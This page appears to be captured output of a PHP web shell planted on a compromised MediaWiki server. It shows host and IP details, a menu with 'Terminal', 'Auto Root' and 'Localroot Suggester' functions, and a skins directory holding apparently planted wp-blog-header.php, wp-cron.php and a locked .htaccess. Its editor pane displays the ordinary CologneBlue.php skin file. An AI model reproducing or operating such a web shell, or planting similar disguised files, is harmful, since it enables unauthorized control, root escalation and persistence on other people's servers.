Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
skins /
Delete
Unzip
Name
Size
Permission
Date
Action
1
[ DIR ]
drwxr-xr-x
2012-04-25 19:52
CologneBlue
[ DIR ]
drwxr-xr-x
2016-11-28 20:21
Modern
[ DIR ]
drwxr-xr-x
2016-11-28 20:21
MonoBook
[ DIR ]
drwxr-xr-x
2016-11-28 20:21
Vector
[ DIR ]
drwxr-xr-x
2016-11-28 20:21
chick
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
cologneblue
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
common
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
modern
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
monobook
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
myskin
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
nostalgia
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
simple
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
vector
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
.htaccess
197
B
-r--r--r--
2026-08-22 08:29
Chick.deps.php
503
B
-rw-r--r--
2008-03-11 17:29
Chick.php
934
B
-rw-r--r--
2011-08-06 14:07
CologneBlue.php
10.27
KB
-rw-r--r--
2011-11-24 17:27
Modern.deps.php
452
B
-rw-r--r--
2008-03-11 17:29
Modern.php
4.08
KB
-rw-r--r--
2011-09-08 00:07
MonoBook.deps.php
453
B
-rw-r--r--
2008-03-11 17:29
MonoBook.php
9.23
KB
-rw-r--r--
2011-10-26 20:47
MySkin.deps.php
504
B
-rw-r--r--
2008-03-11 17:29
MySkin.php
434
B
-rw-r--r--
2009-09-22 18:52
Nostalgia.php
3.04
KB
-rw-r--r--
2011-08-06 14:07
README
1.18
KB
-rw-r--r--
2016-11-28 20:20
Simple.deps.php
504
B
-rw-r--r--
2008-03-11 17:29
Simple.php
1.22
KB
-rw-r--r--
2011-09-21 00:36
Standard.php
8.15
KB
-rw-r--r--
2011-10-20 23:22
Vector.deps.php
452
B
-rw-r--r--
2009-05-30 22:02
Vector.php
14.94
KB
-rw-r--r--
2011-10-26 20:47
wp-blog-header.php
2.74
KB
-r--r--r--
2026-08-22 08:29
wp-cron.php
2.74
KB
-rw-r--r--
2026-08-22 08:29
Save
Rename
<?php /** * Cologne Blue: A nicer-looking alternative to Standard. * * @todo document * @file * @ingroup Skins */ if( !defined( 'MEDIAWIKI' ) ) { die( -1 ); } /** * @todo document * @ingroup Skins */ class SkinCologneBlue extends SkinLegacy { var $skinname = 'cologneblue', $stylename = 'cologneblue', $template = 'CologneBlueTemplate'; function setupSkinUserCss( OutputPage $out ){ parent::setupSkinUserCss( $out ); $out->addModuleStyles( 'skins.cologneblue' ); $qb = $this->qbSetting(); $rules = array(); if ( 2 == $qb ) { # Right $rules[] = "/* @noflip */#quickbar { position: absolute; right: 4px; }"; $rules[] = "/* @noflip */#article { margin-left: 4px; margin-right: 148px; }"; $rules[] = "/* @noflip */#footer { margin-right: 152px; }"; } elseif ( 1 == $qb ) { $rules[] = "/* @noflip */#quickbar { position: absolute; left: 4px; }"; $rules[] = "/* @noflip */#article { margin-left: 148px; margin-right: 4px; }"; $rules[] = "/* @noflip */#footer { margin-left: 152px; }"; } elseif ( 3 == $qb ) { # Floating left $rules[] = "/* @noflip */#quickbar { position:absolute; left:4px }"; $rules[] = "/* @noflip */#topbar { margin-left: 148px }"; $rules[] = "/* @noflip */#article { margin-left:148px; margin-right: 4px; }"; $rules[] = "/* @noflip */body>#quickbar { position:fixed; left:4px; top:4px; overflow:auto; bottom:4px;}"; # Hides from IE $rules[] = "/* @noflip */#footer { margin-left: 152px; }"; } elseif ( 4 == $qb ) { # Floating right $rules[] = "/* @noflip */#quickbar { position: fixed; right: 4px; }"; $rules[] = "/* @noflip */#topbar { margin-right: 148px }"; $rules[] = "/* @noflip */#article { margin-right: 148px; margin-left: 4px; }"; $rules[] = "/* @noflip */body>#quickbar { position: fixed; right: 4px; top: 4px; overflow: auto; bottom:4px;}"; # Hides from IE $rules[] = "/* @noflip */#footer { margin-right: 152px; }"; } $style = implode( "\n", $rules ); $out->addInlineStyle( $style, 'flip' ); } } class CologneBlueTemplate extends LegacyTemplate { function doBeforeContent() { $mainPageObj = Title::newMainPage(); $s = "\n<div id='content'>\n<div id='topbar'>" . '<table width="100%" border="0" cellspacing="0" cellpadding="8"><tr>'; $s .= '<td class="top" nowrap="nowrap">'; $s .= '<a href="' . $mainPageObj->escapeLocalURL() . '">'; $s .= '<span id="sitetitle">' . wfMsg( 'sitetitle' ) . '</span></a>'; $s .= '</td><td class="top" id="top-syslinks" width="100%">'; $s .= $this->sysLinks(); $s .= '</td></tr><tr><td class="top-subheader">'; $s .= '<font size="-1"><span id="sitesub">'; $s .= htmlspecialchars( wfMsg( 'sitesubtitle' ) ) . '</span></font>'; $s .= '</td><td class="top-linkcollection">'; $s .= '<font size="-1"><span id="langlinks">'; $s .= str_replace( '<br />', '', $this->otherLanguages() ); $cat = '<div id="catlinks" class="catlinks">' . $this->getSkin()->getCategoryLinks() . '</div>'; if( $cat ) { $s .= "<br />$cat\n"; } $s .= '<br />' . $this->pageTitleLinks(); $s .= '</span></font>'; $s .= "</td></tr></table>\n"; $s .= "\n</div>\n<div id='article'>"; $notice = $this->getSkin()->getSiteNotice(); if( $notice ) { $s .= "\n<div id='siteNotice'>$notice</div>\n"; } $s .= $this->pageTitle(); $s .= $this->pageSubtitle() . "\n"; return $s; } function doAfterContent(){ global $wgLang; $s = "\n</div><br clear='all' />\n"; $s .= "\n<div id='footer'>"; $s .= '<table width="98%" border="0" cellspacing="0"><tr>'; $s .= '<td class="bottom">'; $s .= $this->bottomLinks(); $s .= $wgLang->pipeList( array( "\n<br />" . Linker::link( Title::newMainPage(), null, array(), array(), array( 'known', 'noclasses' ) ), $this->getSkin()->aboutLink(), $this->searchForm( wfMsg( 'qbfind' ) ) ) ); $s .= "\n<br />" . $this->pageStats(); $s .= '</td>'; $s .= "</tr></table>\n</div>\n</div>\n"; if ( $this->getSkin()->qbSetting() != 0 ) { $s .= $this->quickBar(); } return $s; } function sysLinks() { global $wgUser, $wgLang; $li = SpecialPage::getTitleFor( 'Userlogin' ); $lo = SpecialPage::getTitleFor( 'Userlogout' ); $rt = $this->getSkin()->getTitle()->getPrefixedURL(); if ( 0 == strcasecmp( urlencode( $lo ), $rt ) ) { $q = array(); } else { $q = array( 'returnto' => $rt ); } $s = array( $this->getSkin()->mainPageLink(), Linker::linkKnown( Title::newFromText( wfMsgForContent( 'aboutpage' ) ), wfMsg( 'about' ) ), Linker::linkKnown( Title::newFromText( wfMsgForContent( 'helppage' ) ), wfMsg( 'help' ) ), Linker::linkKnown( Title::newFromText( wfMsgForContent( 'faqpage' ) ), wfMsg( 'faq' ) ), Linker::specialLink( 'Specialpages' ) ); /* show links to different language variants */ if( $this->variantLinks() ) { $s[] = $this->variantLinks(); } if( $this->extensionTabLinks() ) { $s[] = $this->extensionTabLinks(); } if ( $wgUser->isLoggedIn() ) { $s[] = Linker::linkKnown( $lo, wfMsg( 'logout' ), array(), $q ); } else { $s[] = Linker::linkKnown( $li, wfMsg( 'login' ), array(), $q ); } return $wgLang->pipeList( $s ); } /** * Compute the sidebar * @access private */ function quickBar(){ global $wgOut, $wgUser; $tns = $this->getSkin()->getTitle()->getNamespace(); $s = "\n<div id='quickbar'>"; $sep = '<br />'; $s .= $this->menuHead( 'qbfind' ); $s .= $this->searchForm(); $s .= $this->menuHead( 'qbbrowse' ); # Use the first heading from the Monobook sidebar as the "browse" section $bar = $this->getSkin()->buildSidebar(); unset( $bar['SEARCH'] ); unset( $bar['LANGUAGES'] ); unset( $bar['TOOLBOX'] ); $barnumber = 1; foreach ( $bar as $heading => $browseLinks ) { if ( $barnumber > 1 ) { $headingMsg = wfMessage( $heading ); if ( $headingMsg->exists() ) { $h = $headingMsg->text(); } else { $h = $heading; } $s .= "\n<h6>" . htmlspecialchars( $h ) . "</h6>"; } if( is_array( $browseLinks ) ) { foreach ( $browseLinks as $link ) { if ( $link['text'] != '-' ) { $s .= "<a href=\"{$link['href']}\">" . htmlspecialchars( $link['text'] ) . '</a>' . $sep; } } } $barnumber++; } if ( $wgOut->isArticle() ) { $s .= $this->menuHead( 'qbedit' ); $s .= '<strong>' . $this->editThisPage() . '</strong>'; $s .= $sep . Linker::linkKnown( Title::newFromText( wfMsgForContent( 'edithelppage' ) ), wfMsg( 'edithelp' ) ); if( $wgUser->isLoggedIn() ) { $s .= $sep . $this->moveThisPage(); } if ( $wgUser->isAllowed( 'delete' ) ) { $dtp = $this->deleteThisPage(); if ( $dtp != '' ) { $s .= $sep . $dtp; } } if ( $wgUser->isAllowed( 'protect' ) ) { $ptp = $this->protectThisPage(); if ( $ptp != '' ) { $s .= $sep . $ptp; } } $s .= $sep; $s .= $this->menuHead( 'qbpageoptions' ); $s .= $this->talkLink() . $sep . $this->commentLink() . $sep . $this->printableLink(); if ( $wgUser->isLoggedIn() ) { $s .= $sep . $this->watchThisPage(); } $s .= $sep; $s .= $this->menuHead( 'qbpageinfo' ) . $this->historyLink() . $sep . $this->whatLinksHere() . $sep . $this->watchPageLinksLink(); if( $tns == NS_USER || $tns == NS_USER_TALK ) { $id = User::idFromName( $this->getSkin()->getTitle()->getText() ); if( $id != 0 ) { $s .= $sep . $this->userContribsLink(); if( $this->getSkin()->showEmailUser( $id ) ) { $s .= $sep . $this->emailUserLink(); } } } $s .= $sep; } $s .= $this->menuHead( 'qbmyoptions' ); if ( $wgUser->isLoggedIn() ) { $tl = Linker::link( $wgUser->getTalkPage(), wfMsg( 'mytalk' ), array(), array(), array( 'known', 'noclasses' ) ); if ( $wgUser->getNewtalk() ) { $tl .= ' *'; } $s .= Linker::link( $wgUser->getUserPage(), wfMsg( 'mypage' ), array(), array(), array( 'known', 'noclasses' ) ) . $sep . $tl . $sep . Linker::specialLink( 'Watchlist' ) . $sep . Linker::link( SpecialPage::getSafeTitleFor( 'Contributions', $wgUser->getName() ), wfMsg( 'mycontris' ), array(), array(), array( 'known', 'noclasses' ) ) . $sep . Linker::specialLink( 'Preferences' ) . $sep . Linker::specialLink( 'Userlogout' ); } else { $s .= Linker::specialLink( 'Userlogin' ); } $s .= $this->menuHead( 'qbspecialpages' ) . Linker::specialLink( 'Newpages' ) . $sep . Linker::specialLink( 'Listfiles' ) . $sep . Linker::specialLink( 'Statistics' ); if( UploadBase::isEnabled() && UploadBase::isAllowed( $wgUser ) === true ) { $s .= $sep . $this->getUploadLink(); } global $wgSiteSupportPage; if( $wgSiteSupportPage ) { $s .= $sep . '<a href="' . htmlspecialchars( $wgSiteSupportPage ) . '" class="internal">' . wfMsg( 'sitesupport' ) . '</a>'; } $s .= $sep . Linker::link( SpecialPage::getTitleFor( 'Specialpages' ), wfMsg( 'moredotdotdot' ), array(), array(), array( 'known', 'noclasses' ) ); $s .= $sep . "\n</div>\n"; return $s; } function menuHead( $key ) { $s = "\n<h6>" . wfMsg( $key ) . "</h6>"; return $s; } function searchForm( $label = '' ) { global $wgRequest, $wgUseTwoButtonsSearchForm; $search = $wgRequest->getText( 'search' ); $action = $this->data['searchaction']; $s = "<form id=\"searchform{$this->searchboxes}\" method=\"get\" class=\"inline\" action=\"$action\">"; if( $label != '' ) { $s .= "{$label}: "; } $s .= "<input type='text' id=\"searchInput{$this->searchboxes}\" class=\"mw-searchInput\" name=\"search\" size=\"14\" value=\"" . htmlspecialchars( substr( $search, 0, 256 ) ) . "\" /><br />" . "<input type='submit' id=\"searchGoButton{$this->searchboxes}\" class=\"searchButton\" name=\"go\" value=\"" . htmlspecialchars( wfMsg( 'searcharticle' ) ) . "\" />"; if( $wgUseTwoButtonsSearchForm ) { $s .= "<input type='submit' id=\"mw-searchButton{$this->searchboxes}\" class=\"searchButton\" name=\"fulltext\" value=\"" . htmlspecialchars( wfMsg( 'search' ) ) . "\" />\n"; } else { $s .= '<div><a href="' . $action . '" rel="search">' . wfMsg( 'powersearch-legend' ) . "</a></div>\n"; } $s .= '</form>'; // Ensure unique id's for search boxes made after the first $this->searchboxes = $this->searchboxes == '' ? 2 : $this->searchboxes + 1; return $s; } }